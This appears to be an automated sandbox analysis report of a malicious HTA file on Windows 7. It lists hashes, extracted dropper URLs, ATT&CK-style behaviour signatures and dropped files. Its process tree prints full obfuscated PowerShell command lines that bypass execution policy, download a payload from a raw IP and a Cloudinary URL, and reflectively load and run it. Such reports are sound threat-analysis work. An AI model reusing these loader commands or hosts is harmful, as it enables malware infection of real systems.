Analysis

  • max time kernel
    120s
  • max time network
    125s
  • platform
    windows7_x64
  • resource
    win7-20241010-en
  • resource tags

    arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system
  • submitted
    17-12-2024 08:38

General

  • Target

    greatnicefeatureswithsupercodebnaturalthingsinlineforgiven.hta

  • Size

    143KB

  • MD5

    b4a181ad1acd008c45ba11fd3b518ca2

  • SHA1

    60b4d2b833454c10d8588a67c018498ebfe9e7f5

  • SHA256

    83fc39130474afeb1d69b21603b9e7495584741eda2ca2248db4730d4e966705

  • SHA512

    724c770c0f5e06fe62c99fc12546cd9c7f807cae7091e3386613b3c48831ee1748e70b227175fcdb183b71f52f300f208019c45d4712847ddc87ad254a572db9

  • SSDEEP

    768:t1EVeI6Abum2oum2Lh5KUJDVUKhCiGVf/AwZTZGPJZ9adxfv1g4ZZZZZZZZZZZZV:tQ

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://res.cloudinary.com/dzvai86uh/image/upload/v1734050991/unxaooiykxfmw9pan4z1.jpg%20

exe.dropper

https://res.cloudinary.com/dzvai86uh/image/upload/v1734050991/unxaooiykxfmw9pan4z1.jpg%20

Signatures

  • Blocklisted process makes network request 3 IoCs
  • Evasion via Device Credential Deployment 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 24 IoCs

Processes

  • C:\Windows\SysWOW64\mshta.exe
    C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\greatnicefeatureswithsupercodebnaturalthingsinlineforgiven.hta"
    1⤵
    • System Location Discovery: System Language Discovery
    • Modifies Internet Explorer settings
    • Suspicious use of WriteProcessMemory
    PID:2188
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" "/C pOWERSheLL -eX byPASS -nop -W 1 -C deViCeCREdENTIALdeploymEnt ; iNVOkE-ExpRESsIOn($(iNvOke-exprEsSION('[sYsteM.TEXt.eNcODING]'+[Char]58+[cHaR]58+'UTf8.gEtstring([SySTEm.conVErt]'+[ChAR]58+[Char]0X3A+'FrombAsE64STriNg('+[chAr]34+'JDRJRjZKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYWRkLXRZcGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1lTUJFckRFRklOSXRJT04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoIlVSbG1PTiIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgWmJQZ0Z0LHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBqWCxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbFd1WHlFSFUsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBBYnQsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHBUQncpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5hbWUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInVVUyIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5BTWVTUEFjZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjUCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICQ0SUY2Sjo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzIzLjk1LjIzNS4yOS8xMTgvZnJlZXNpemVkcmVzc2Zvcm5hdHVyYWxiZWF1dHlpbnRoaXNjYXNlZm9yeW91Z29vZC50SUYiLCIkRU5WOkFQUERBVEFcZnJlZXNpemVkcmVzc2Zvcm5hdHVyYWxiZWF1dHlpbnRoaXNjYXNlZm9yeW91LnZiUyIsMCwwKTtzdEFyVC1zbGVFcCgzKTtpbnZvS0UtZXhwckVTU2lvTiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJGVudjpBUFBEQVRBXGZyZWVzaXplZHJlc3Nmb3JuYXR1cmFsYmVhdXR5aW50aGlzY2FzZWZvcnlvdS52YlMi'+[CHar]34+'))')))"
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2084
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        pOWERSheLL -eX byPASS -nop -W 1 -C deViCeCREdENTIALdeploymEnt ; iNVOkE-ExpRESsIOn($(iNvOke-exprEsSION('[sYsteM.TEXt.eNcODING]'+[Char]58+[cHaR]58+'UTf8.gEtstring([SySTEm.conVErt]'+[ChAR]58+[Char]0X3A+'FrombAsE64STriNg('+[chAr]34+'JDRJRjZKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYWRkLXRZcGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1lTUJFckRFRklOSXRJT04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoIlVSbG1PTiIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgWmJQZ0Z0LHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBqWCxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbFd1WHlFSFUsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBBYnQsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHBUQncpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5hbWUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInVVUyIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5BTWVTUEFjZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjUCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICQ0SUY2Sjo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzIzLjk1LjIzNS4yOS8xMTgvZnJlZXNpemVkcmVzc2Zvcm5hdHVyYWxiZWF1dHlpbnRoaXNjYXNlZm9yeW91Z29vZC50SUYiLCIkRU5WOkFQUERBVEFcZnJlZXNpemVkcmVzc2Zvcm5hdHVyYWxiZWF1dHlpbnRoaXNjYXNlZm9yeW91LnZiUyIsMCwwKTtzdEFyVC1zbGVFcCgzKTtpbnZvS0UtZXhwckVTU2lvTiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJGVudjpBUFBEQVRBXGZyZWVzaXplZHJlc3Nmb3JuYXR1cmFsYmVhdXR5aW50aGlzY2FzZWZvcnlvdS52YlMi'+[CHar]34+'))')))"
        3⤵
        • Blocklisted process makes network request
        • Evasion via Device Credential Deployment
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2108
        • C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
          "C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\hfoamy2x.cmdline"
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:1692
          • C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
            C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESDD17.tmp" "c:\Users\Admin\AppData\Local\Temp\CSCDD16.tmp"
            5⤵
            • System Location Discovery: System Language Discovery
            PID:2884
        • C:\Windows\SysWOW64\WScript.exe
          "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\freesizedressfornaturalbeautyinthiscaseforyou.vbS"
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:2728
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $comicsverse = 'JGhlbGljb3Byb3RlaWQgPSAnaHR0cHM6Ly9yZXMuY2xvdWRpbmFyeS5jb20vZHp2YWk4NnVoL2ltYWdlL3VwbG9hZC92MTczNDA1MDk5MS91bnhhb29peWt4Zm13OXBhbjR6MS5qcGcgJzskbWV0YXBoeXRlID0gTmV3LU9iamVjdCBTeXN0ZW0uTmV0LldlYkNsaWVudDskY2hvdWwgPSAkbWV0YXBoeXRlLkRvd25sb2FkRGF0YSgkaGVsaWNvcHJvdGVpZCk7JHBvb2tvbyA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKCRjaG91bCk7JHJhbmdpbmVzcyA9ICc8PEJBU0U2NF9TVEFSVD4+JzskeGFudGhhbGluZSA9ICc8PEJBU0U2NF9FTkQ+Pic7JFBpemFycm8gPSAkcG9va29vLkluZGV4T2YoJHJhbmdpbmVzcyk7JGhhbmdlciA9ICRwb29rb28uSW5kZXhPZigkeGFudGhhbGluZSk7JFBpemFycm8gLWdlIDAgLWFuZCAkaGFuZ2VyIC1ndCAkUGl6YXJybzskUGl6YXJybyArPSAkcmFuZ2luZXNzLkxlbmd0aDskc3ludGF4aW4gPSAkaGFuZ2VyIC0gJFBpemFycm87JGluc2FsdmVhYmxlID0gJHBvb2tvby5TdWJzdHJpbmcoJFBpemFycm8sICRzeW50YXhpbik7JHVuY2x1dHRlciA9IC1qb2luICgkaW5zYWx2ZWFibGUuVG9DaGFyQXJyYXkoKSB8IEZvckVhY2gtT2JqZWN0IHsgJF8gfSlbLTEuLi0oJGluc2FsdmVhYmxlLkxlbmd0aCldOyRjYXRhc3Ryb3BoZSA9IFtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJHVuY2x1dHRlcik7JG5lcGhyb2kgPSBbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKCRjYXRhc3Ryb3BoZSk7JGNvbnZlcmJzID0gW2RubGliLklPLkhvbWVdLkdldE1ldGhvZCgnVkFJJyk7JGNvbnZlcmJzLkludm9rZSgkbnVsbCwgQCgnMC9MV3pWcS9yL2VlLmV0c2FwLy86c3B0dGgnLCAnJGhhc3NsZWQnLCAnJGhhc3NsZWQnLCAnJGhhc3NsZWQnLCAnQ2FzUG9sJywgJyRoYXNzbGVkJywgJyRoYXNzbGVkJywnJGhhc3NsZWQnLCckaGFzc2xlZCcsJyRoYXNzbGVkJywnJGhhc3NsZWQnLCckaGFzc2xlZCcsJzEnLCckaGFzc2xlZCcsJycpKTs=';$eyeing = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($comicsverse));Invoke-Expression $eyeing
            5⤵
            • Blocklisted process makes network request
            • Command and Scripting Interpreter: PowerShell
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:2800

Network

MITRE ATT&CK Enterprise v15

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\CabBE.tmp

    Filesize

    70KB

    MD5

    49aebf8cbd62d92ac215b2923fb1b9f5

    SHA1

    1723be06719828dda65ad804298d0431f6aff976

    SHA256

    b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f

    SHA512

    bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b

  • C:\Users\Admin\AppData\Local\Temp\RESDD17.tmp

    Filesize

    1KB

    MD5

    0a85e890b6de8164d103295463bf89c1

    SHA1

    0ab0137dc9e54049ff5353416a582c15d0033bdd

    SHA256

    9d7880648f46262a937aa719c770bfa3a8ed1fc70cf2773dbbb1c0107de34813

    SHA512

    37450b1bcfee9f0a35cf0805581c4c871ef0075fc41304ff4d1f3bf266e47859e1d8ec60c007d870f0bbc91478503453b3f3e88a6df2e7dea9b8d783d2809f28

  • C:\Users\Admin\AppData\Local\Temp\Tar1BB.tmp

    Filesize

    181KB

    MD5

    4ea6026cf93ec6338144661bf1202cd1

    SHA1

    a1dec9044f750ad887935a01430bf49322fbdcb7

    SHA256

    8efbc21559ef8b1bcf526800d8070baad42474ce7198e26fa771dbb41a76b1d8

    SHA512

    6c7e0980e39aacf4c3689802353f464a08cd17753bd210ee997e5f2a455deb4f287a9ef74d84579dbde49bc96213cd2b8b247723919c412ea980aa6e6bfe218b

  • C:\Users\Admin\AppData\Local\Temp\hfoamy2x.dll

    Filesize

    3KB

    MD5

    3383f31930ce2d26140c993a9985bcc8

    SHA1

    03e1d5d8c99155bb5106b90ae5d802ff234570b4

    SHA256

    ee14282c2a918a28bee6fe349507f65a1e59a80f5ae35564d202ace5ea26d654

    SHA512

    04cc37bacd1ce06a420908ea7706d512f127208fe518e8e0ab49931006e7a85d19be5de871f6b30083b6c17d5e8db6fe243d27ffb3233959c1246632fb8c6bb5

  • C:\Users\Admin\AppData\Local\Temp\hfoamy2x.pdb

    Filesize

    7KB

    MD5

    3851129ab4297587f57ecda8a3848f8f

    SHA1

    edb98fedbd05b72c4e0285378ce90858f371840c

    SHA256

    371bf5825d2002fdb7ea1b7f56de329ba50a77d29c705fa40eaddc2da5dc4697

    SHA512

    1853b5dba44b3133f1e0e23b5341dd20c5fbd95f8ac0972b706e937affe774642d79e78435020a4934723618f9570e52bb5596e30fb736f8308700de8eecd36c

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

    Filesize

    7KB

    MD5

    1d3c05d1b12770928184899d2e02d69d

    SHA1

    fdcc3b1cbc9efc5318dcd8e8ed33a6f9a48a214a

    SHA256

    9758e06d5d950cd69a8982ed3f35e4c2f66d8ea3dee485ad93cbbed8cae6be4e

    SHA512

    4385bbf38e588bd571ec2718c4af8d6c2547dc492edd24ec6538ac69fcf16e7dc578ca6381682ff3fb23cfd4285ff15865ef3b7d311bc940e338a5d2b8b9f665

  • C:\Users\Admin\AppData\Roaming\freesizedressfornaturalbeautyinthiscaseforyou.vbS

    Filesize

    150KB

    MD5

    f4fa61bb6c9f9721ded8d91d28ea7815

    SHA1

    10796e5d198b6007586d28f6eaf2e847f89ea51e

    SHA256

    cbf1e928a1d028328afce5a494996571a51203d9c7e06ee78cd8ae1907f81f53

    SHA512

    03cf806a49ac6fb1d739e986e81559241d2387af2bb93dd443dee04f8f7278d1cad45116c46951d1888fd43922d232e6a9f1b49139c61e961efea0d2de0b7013

  • \??\c:\Users\Admin\AppData\Local\Temp\CSCDD16.tmp

    Filesize

    652B

    MD5

    72a1c2e0cd4ada8fb0dbd18e0acf8bf2

    SHA1

    05c02715b8675f55db09f81e273d96a271a94877

    SHA256

    952d3078bcc196d419d6df367c5da74477f7347b6fb875073789b7e83a99af2b

    SHA512

    a23efc6ede758efbbdc3c8edbc51890cb0aca0676a7707a182a6e3450d2f31e44e2b62e47040568faea8bbf9ce4c265e190b98f2afbc4328671367aeb3bfecea

  • \??\c:\Users\Admin\AppData\Local\Temp\hfoamy2x.0.cs

    Filesize

    467B

    MD5

    773dc6cce0b58d96f866a82999aeb27a

    SHA1

    eb94f2107c3413b9d3b836a4a8f7fe1b5385e53c

    SHA256

    03732294582d4d93597043d70029f05476e498d1ffa698d1c51d4c377d3d8311

    SHA512

    1194741af23cdbe54b379f5555fa7e74f0f0287b357497cf76b63895803ef941454e4ce1c42a8d232c94262580cb62ac0f851ff5a1d9fdc52d9ed4a0ac68ce24

  • \??\c:\Users\Admin\AppData\Local\Temp\hfoamy2x.cmdline

    Filesize

    309B

    MD5

    a2df9234cec704d978ee7b5a4ac9bd70

    SHA1

    69badfb4b9898461633e99245df44fdcf368bcca

    SHA256

    5b8a01930e5d1d4ac39a2ee5c5f719c3bb50e62c2bf7cce1c27e2aeeb2196e8b

    SHA512

    a7b7a3c6b6d37378f09f65a2eb3718f636fe13970a8ede7098751282102d1fd5827e9386d2330743b613108b60312763d4759409f0caafdb23a7aa834e641646